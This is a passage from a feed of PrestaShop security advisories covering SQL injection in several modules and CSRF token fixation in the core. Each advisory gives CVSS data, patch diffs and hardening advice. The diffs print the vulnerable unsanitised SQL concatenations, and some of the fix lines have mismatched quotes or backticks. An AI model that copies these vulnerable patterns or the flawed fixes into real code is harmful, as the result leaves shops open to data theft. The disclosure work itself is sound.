             LEFT JOIN `'._DB_PREFIX_.'customer` c ON c.`id_customer` = pc.`id_customer`
             WHERE pc.`id_product` = '.(int)($id_product).($validate == '1' ? ' AND pc.`validate` = 1' : '').($filtre ? ' AND pc.`grade` = '.$filtre : '').'
             AND pc.`id_shop` = '.(int)Context::getContext()-&gt;shop-&gt;id.' 
<span class="gd">-                    ORDER BY pc.`'.$sort.'` DESC 
</span><span class="gi">+                    ORDER BY pc.`'.bqSQL($sort).'` DESC 
</span>             LIMIT '.(int)($start).' ,'.(int)($step)
             );
             
<span class="p">@@ -135,26 +138,11 @@</span> class ProductReviews extends ObjectModel
 
     public static function getLastReviews($start = 1, $step = 5, $sort = 'date_add', $id_customer = null, $id_category = false)
     {
<span class="gi">+        if (!Validate::isOrderBy($sort)) {
+            $sort = 'date_add';
+        }
</span>         $validate = Configuration::get('WS_PRODUCTREVIEWS_MODERATE');     
         $reviews = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS(
             'SELECT pc.`id_product_comment`, pc.`str_img_name`, pc.`id_product`, pl.`name`, pc.`ip`, pc.`recommend`, pc.`id_customer`,
             (SELECT count(*) FROM `'._DB_PREFIX_.'ws_product_comment_usefulness` pcu WHERE pcu.`id_product_comment` = pc.`id_product_comment` AND pcu.`usefulness` = 1) as total_useful,
<span class="p">@@ -170,7 +158,7 @@</span> die();
             ($validate == '1' ? ' pc.`validate` = 1' : '1').
                 ' AND pc.`id_shop` = '.(int)Context::getContext()-&gt;shop-&gt;id.
                 ($id_category != false ? ' AND cp.`id_category` = '.(int) $id_category : ' ').
<span class="gd">-                ' ORDER BY pc.`'.$sort.'` DESC 
</span><span class="gi">+                ' ORDER BY pc.`'.bqSQL($sort).'` DESC 
</span>             LIMIT '.(int)($start).' ,'.(int)($step)
         );
         
<span class="p">@@ -436,7 +424,7 @@</span> die();
             WHERE `id_product` = '.(int)($id_product).
                     ($validate == '1' ? ' AND `validate` = 1' : '').
                     ' AND pc.`id_shop` = '.(int)Context::getContext()-&gt;shop-&gt;id.
<span class="gd">-                    ($r_filtre ? ' AND pc.`grade` = '.$r_filtre : ''));
</span><span class="gi">+                    ($r_filtre ? ' AND pc.`grade` = "'.pSQL($r_filtre) : '"'));
</span> 
         return  $result;
     }
<span class="p">@@ -489,6 +477,12 @@</span> die();
      */
     public static function getByValidate($validate = '0', $deleted = false, $sort = 'date_add', $sort_way = 'DESC', $filters = false)
     {
<span class="gi">+        if (!Validate::isOrderBy($sort)) {
+            $sort = 'date_add';
+        }
+        if (!Validate::isOrderWay($sort_way)) {
+            $sort_way = 'DESC';
+        }
</span>         $sql  = '
             SELECT pc.`id_product_comment`, pc.`id_product`, pc.`ip`, pc.`str_img_name`, IF(c.id_customer, CONCAT(c.`firstname`, \' \',  c.`lastname`), pc.customer_name) customer_name, pc.`title`, pc.`content`, pc.`grade`, pc.`date_add`, pc.`respond`, pc.`recommend`,    
                 v.`id_voucher`, pl.`name`
<span class="p">@@ -504,13 +498,13 @@</span> die();
                     $key = Tools::substr($key, 7);
                     if ($key == 'date_add') {
                         if ($value[0] != null) {
<span class="gd">-                            $sql  .= ' AND pc.`'.$key.'` &gt;= "'.$value[0].'" ';
</span><span class="gi">+                            $sql  .= ' AND pc.`'.bqSQL($key).'` &gt;= "'.pSQL($value[0]).'" ';
</span>                         }
                         if ($value[1] != null) {
<span class="gd">-                            $sql  .= ' AND pc.`'.$key.'` &lt;= "'.$value[1].'" ';
</span><span class="gi">+                            $sql  .= ' AND pc.`'.bqSQL($key).'` &lt;= "'.pSQL($value[1]).'" ';
</span>                         }
                     } else {
<span class="gd">-                        $sql  .= ' AND '.$key.' = "'.$value.'" ';
</span><span class="gi">+                        $sql  .= ' AND `'.bqSQL($key).' = "'.pSQL($value).'" ';
</span>                     }
                 }
             }
<span class="p">@@ -554,6 +548,12 @@</span> die();
      */
     public static function getAll($sort = 'date_add', $sort_way = 'DESC', $filters = false)
     {
<span class="gi">+        if (!Validate::isOrderBy($sort)) {
+            $sort = 'date_add';
+        }
+        if (!Validate::isOrderWay($sort_way)) {
+            $sort_way = 'DESC';
+        }
</span>         $sql  = '
         SELECT pc.`id_product_comment`, pc.`id_product`, pc.`str_img_name`, pc.`ip`, IF(c.id_customer, CONCAT(c.`firstname`, \' \',  c.`lastname`), pc.customer_name) customer_name, pc.`title`, pc.`content`, pc.`grade`, pc.`date_add`, pl.`name`
         FROM `'._DB_PREFIX_.'ws_product_comment` pc
<span class="p">@@ -567,18 +567,17 @@</span> die();
                     $key = Tools::substr($key, 7);
                     if ($key == 'date_add') {
                         if ($value[0] != null) {
<span class="gd">-                            $sql  .= ' AND pc.`'.$key.'` &gt;= "'.$value[0].'" ';
</span><span class="gi">+                            $sql  .= ' AND pc.`'.bqSQL($key).'` &gt;= "'.pSQL($value[0]).'" ';
</span>                         }
                         if ($value[1] != null) {
<span class="gd">-                            $sql  .= ' AND pc.`'.$key.'` &lt;= "'.$value[1].'" ';
</span><span class="gi">+                            $sql  .= ' AND pc.`'.bqSQL($key).'` &lt;= "'.pSQL($value[1]).'" ';
</span>                         }
                     } else {
<span class="gd">-                        $sql  .= ' AND '.$key.' = "'.$value.'" ';
</span><span class="gi">+                        $sql  .= ' AND '.bqSQL($key).'`= "'.pSQL($value).'" ';
</span>                     }
                 }
             }
         }
<span class="gd">-        
</span>         if (!$sort) {
             $sql .= ' ORDER BY `date_add` DESC ';
         } elseif ($sort == 'location') {
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyong 3.6.2.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-20</td>
      <td>Issue discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2022-12-20</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-01-11</td>
      <td>First fixed candidate from the author 3.6.1</td>
    </tr>
    <tr>
      <td>2022-01-11</td>
      <td>Contact the author to fix others vulnerabilities</td>
    </tr>
    <tr>
      <td>2023-01-26</td>
      <td>Last fixes from the author</td>
    </tr>
    <tr>
      <td>2023-02-01</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-14</td>
      <td>Publication of this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/customer-reviews/22373-advanced-reviews-photos-reminder-google-snippets.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-25206">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Advanced Reviews: Photos, Reminder, Google Snippets” (ws_productreviews), an anonymous user can perform SQL injection in affected versions. 3.6.2 fixed vulnerabilities.]]></summary></entry><entry><title type="html">[CVE-2023-25170] Possible CSRF token fixation (CWE-352)</title><link href="https://security.friendsofpresta.org/core/2023/03/13/core-CVE-2023-25170.html" rel="alternate" type="text/html" title="[CVE-2023-25170] Possible CSRF token fixation (CWE-352)" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/03/13/core-CVE-2023-25170</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/03/13/core-CVE-2023-25170.html"><![CDATA[<p>Not clear CSRF tokens upon login…</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25170">CVE-2023-25170</a></li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: PrestaShop</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: PrestaShop</li>
  <li><strong>Impacted release</strong>: &gt;=1.7.0.0, 8.0.1</li>
  <li><strong>Product author</strong>: PrestaShop</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/352.html">CWE-352</a></li>
  <li><strong>Severity</strong>: moderate (5.0)</li>
</ul>

<h2 id="description">Description</h2>

<p>When authenticating users PrestaShop preserves session attributes because this does not clear CSRF tokens upon login.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: high</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: low</li>
  <li><strong>Integrity</strong>: low</li>
  <li><strong>Availability</strong>: low</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>This issue might enables <a href="https://canitakeyoursubdomain.name/">same-site attackers</a> to bypass the CSRF protection mechanism by performing an attack similar to a session-fixation.</p>

<h2 id="patch">Patch</h2>

<p>This is generated between 8.0.1 and 8.0.2.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/classes/Employee.php b/classes/Employee.php
index 556f63401433..8116da0aeffe 100644
</span><span class="gd">--- a/classes/Employee.php
</span><span class="gi">+++ b/classes/Employee.php
</span><span class="p">@@ -25,7 +25,9 @@</span>
  */
 use PrestaShop\PrestaShop\Adapter\CoreException;
 use PrestaShop\PrestaShop\Adapter\ServiceLocator;
<span class="gi">+use PrestaShop\PrestaShop\Adapter\SymfonyContainer;
</span> use PrestaShop\PrestaShop\Core\Crypto\Hashing;
<span class="gi">+use PrestaShopBundle\Security\Admin\SessionRenewer;
</span> 
 /**
  * Class EmployeeCore.
<span class="p">@@ -488,6 +490,11 @@</span> public function logout()
             Context::getContext()-&gt;cookie-&gt;write();
         }
 
<span class="gi">+        $sfContainer = SymfonyContainer::getInstance();
+        if ($sfContainer !== null) {
+            $sfContainer-&gt;get(SessionRenewer::class)-&gt;renew();
+        }
+
</span>         $this-&gt;id = null;
     }
 
<span class="gh">diff --git a/controllers/admin/AdminLoginController.php b/controllers/admin/AdminLoginController.php
index 8b30e26173b7..9d49cf6fe2b2 100644
</span><span class="gd">--- a/controllers/admin/AdminLoginController.php
</span><span class="gi">+++ b/controllers/admin/AdminLoginController.php
</span><span class="p">@@ -24,6 +24,7 @@</span>
  * @license   https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
  */
 use PrestaShop\PrestaShop\Core\Util\InternationalizedDomainNameConverter;
<span class="gi">+use PrestaShopBundle\Security\Admin\SessionRenewer;
</span> use Symfony\Component\HttpFoundation\IpUtils;
 
 class AdminLoginControllerCore extends AdminController
<span class="p">@@ -269,6 +270,8 @@</span> public function processLogin()
                     $url = $this-&gt;context-&gt;link-&gt;getAdminLink($tab-&gt;class_name);
                 }
 
<span class="gi">+                $this-&gt;get(SessionRenewer::class)-&gt;renew();
+
</span>                 Hook::exec(
                     'actionAdminLoginControllerLoginAfter',
                     [
<span class="gh">diff --git a/src/PrestaShopBundle/Resources/config/services/bundle/services.yml b/src/PrestaShopBundle/Resources/config/services/bundle/services.yml
index bf57009c5810..0679d4ba8547 100644
</span><span class="gd">--- a/src/PrestaShopBundle/Resources/config/services/bundle/services.yml
</span><span class="gi">+++ b/src/PrestaShopBundle/Resources/config/services/bundle/services.yml
</span><span class="p">@@ -95,3 +95,8 @@</span> services:
   PrestaShopBundle\DependencyInjection\RuntimeConstEnvVarProcessor:
     public: false
     tags: [ 'container.env_var_processor' ]
<span class="gi">+
+  PrestaShopBundle\Security\Admin\SessionRenewer:
+    arguments:
+      $storage: "@security.csrf.token_storage"
+    autowire: true
</span><span class="gh">diff --git a/src/PrestaShopBundle/Security/Admin/SessionRenewer.php b/src/PrestaShopBundle/Security/Admin/SessionRenewer.php
</span><span class="p">new file mode 100644
</span><span class="gh">index 000000000000..28de6d63f213
</span><span class="gd">--- /dev/null
</span><span class="gi">+++ b/src/PrestaShopBundle/Security/Admin/SessionRenewer.php
</span><span class="p">@@ -0,0 +1,76 @@</span>
<span class="gi">+&lt;?php
+/**
+ * Copyright since 2007 PrestaShop SA and Contributors
+ * PrestaShop is an International Registered Trademark &amp; Property of PrestaShop SA
+ *
+ * NOTICE OF LICENSE
+ *
+ * This source file is subject to the Open Software License (OSL 3.0)
+ * that is bundled with this package in the file LICENSE.md.
+ * It is also available through the world-wide-web at this URL:
+ * https://opensource.org/licenses/OSL-3.0
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@prestashop.com so we can send you a copy immediately.
+ *
+ * DISCLAIMER
+ *
+ * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
+ * versions in the future. If you wish to customize PrestaShop for your
+ * needs please refer to https://devdocs.prestashop.com/ for more information.
+ *
+ * @author    PrestaShop SA and Contributors &lt;contact@prestashop.com&gt;
+ * @copyright Since 2007 PrestaShop SA and Contributors
+ * @license   https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
+ */
+
+declare(strict_types=1);
+
+namespace PrestaShopBundle\Security\Admin;
+
+use Symfony\Component\HttpFoundation\Session\SessionInterface;
+use Symfony\Component\Security\Csrf\TokenStorage\ClearableTokenStorageInterface;
+
+/**
+ * Because PS don't use Symfony login feature, we use this service to fix CVE-2022-24895. This class will be deprecated
+ * when BO login/logout will use full Symfony process
+ *
+ * @internal
+ */
+final class SessionRenewer
+{
+    /**
+     * @var ClearableTokenStorageInterface
+     */
+    private $storage;
+
+    /**
+     * @var SessionInterface
+     */
+    private $session;
+
+    /**
+     * @param ClearableTokenStorageInterface $storage
+     * @param SessionInterface $session
+     */
+    public function __construct(ClearableTokenStorageInterface $storage, SessionInterface $session)
+    {
+        $this-&gt;storage = $storage;
+        $this-&gt;session = $session;
+    }
+
+    /**
+     * Change PHPSESSID and clear tokens registered in session
+     *
+     * @return void
+     */
+    public function renew(): void
+    {
+        if (!$this-&gt;session-&gt;isStarted()) {
+            $this-&gt;session-&gt;start();
+        }
+
+        $this-&gt;session-&gt;migrate(true);
+        $this-&gt;storage-&gt;clear();
+    }
+}
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade PrestaShop beyong 8.0.2</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/PrestaShop/PrestaShop/security/advisories/GHSA-3g43-x7qr-96ph">PrestaShop product repository</a></li>
  <li><a href="https://github.com/PrestaShop/PrestaShop/commit/4a9e39c40bb1c9af3b2858601fc7aae10d2b49e1">Patch</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><summary type="html"><![CDATA[Not clear CSRF tokens upon login…]]></summary></entry><entry><title type="html">[CVE-2023-27034] Blind SQL injection vulnerability in Jms Blog (jmsblog) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/03/13/jmsblog.html" rel="alternate" type="text/html" title="[CVE-2023-27034] Blind SQL injection vulnerability in Jms Blog (jmsblog) PrestaShop module" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/13/jmsblog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/13/jmsblog.html"><![CDATA[<p>The module Jms Blog (jmsblog) from Joommasters contains a Blind SQL injection vulnerability.
This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: CVE-2023-27034</li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmsblog</li>
  <li><strong>Impacted release</strong>: All versions (at least 2.5.5 and 2.5.6)</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Several front controller in /controllers/front/ hold sensitives SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/archive.php
</span><span class="gi">+++ b/controllers/front/archive.php
</span><span class="p">@@ -55,1 +55,1 @@</span> function getPosts
<span class="gd">-            ' AND DATE_FORMAT(hss.created,"%Y-%m") LIKE "%'.$_month.'%"
</span><span class="gi">+            ' AND DATE_FORMAT(hss.created,"%Y-%m") LIKE "%'.pSQL($_month).'%"
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/post.php
</span><span class="gi">+++ b/controllers/front/post.php
</span><span class="p">@@ -85,1 +85,1 @@</span> function getPosts
<span class="gd">-                WHERE pc.`email` = \''.$email.'\'
</span><span class="gi">+                WHERE pc.`email` = \''.pSQL($email).'\'
</span></code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/controllers/front/tag.php
</span><span class="gi">+++ b/controllers/front/tag.php
</span><span class="p">@@ -53,1 +53,1 @@</span> function getPosts
<span class="gd">-            ' AND hssl.`tags` LIKE "%'.$tag.'%"
</span><span class="gi">+            ' AND hssl.`tags` LIKE "%'.pSQL($tag).'%"
</span></code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-01</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-13</td>
      <td>Publish this security advisory</td>
    </tr>
    <tr>
      <td>2023-03-16</td>
      <td>CVE ID affected</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27034">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Jms Blog (jmsblog) from Joommasters contains a Blind SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes]]></summary></entry><entry><title type="html">[CVE-2023-29630] Blind SQL injection vulnerability in Jms MegaMenu (jmsmegamenu) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/03/13/jmsmegamenu.html" rel="alternate" type="text/html" title="[CVE-2023-29630] Blind SQL injection vulnerability in Jms MegaMenu (jmsmegamenu) PrestaShop module" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/13/jmsmegamenu</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/13/jmsmegamenu.html"><![CDATA[<p>The module Jms MegaMenu (jmsmegamenu) from Joommasters contains a Blind SQL injection vulnerability.
This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29630">CVE-2023-29630</a></li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmsmegamenu</li>
  <li><strong>Impacted release</strong>: All versions (at least 1.1.x and 2.0.x)</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>ajax_jmsmegamenu.php hold sensitives SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/ajax_jmsmegamenu.php
</span><span class="gi">+++ b/ajax_jmsmegamenu.php
</span><span class="p">@@ -29,1 +29,1 @@</span> function getPosts
<span class="gd">-        UPDATE `'._DB_PREFIX_.'jmsmegamenu` SET `params` = \''.Tools::getValue('params').'\'
</span><span class="gi">+        UPDATE `'._DB_PREFIX_.'jmsmegamenu` SET `params` = \''.pSQL(Tools::getValue('params')).'\'
</span></code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-09-01</td>
      <td>Issue discovered during a pentest</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-03-13</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.joommasters.com/">Joom masters web site</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Jms MegaMenu (jmsmegamenu) from Joommasters contains a Blind SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes]]></summary></entry><entry><title type="html">[CVE-2023-29632] Blind SQL injection vulnerability in Jms Page Builder (jmspagebuilder) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/03/13/jmspagebuilder.html" rel="alternate" type="text/html" title="[CVE-2023-29632] Blind SQL injection vulnerability in Jms Page Builder (jmspagebuilder) PrestaShop module" /><published>2023-03-13T00:00:00+00:00</published><updated>2023-03-13T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/13/jmspagebuilder</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/13/jmspagebuilder.html"><![CDATA[<p>The module Jms Page Builder (jmspagebuilder) from Joommasters contains a Blind SQL injection vulnerability.
This module is for the PrestaShop e-commerce platform and mainly provided with joo masters PrestaShop themes</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29632">CVE-2023-29632</a></li>
  <li><strong>Published at</strong>: 2023-03-13</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: jmspagebuilder</li>
  <li><strong>Impacted release</strong>: All versions (at least 3.x)</li>
  <li><strong>Product author</strong>: Joommasters</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>ajax_jmspagebuilder.php hold sensitives SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p><strong>WARNING</strong> : This exploit is actively used to deploy webskimmer to massively steal credit cards.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

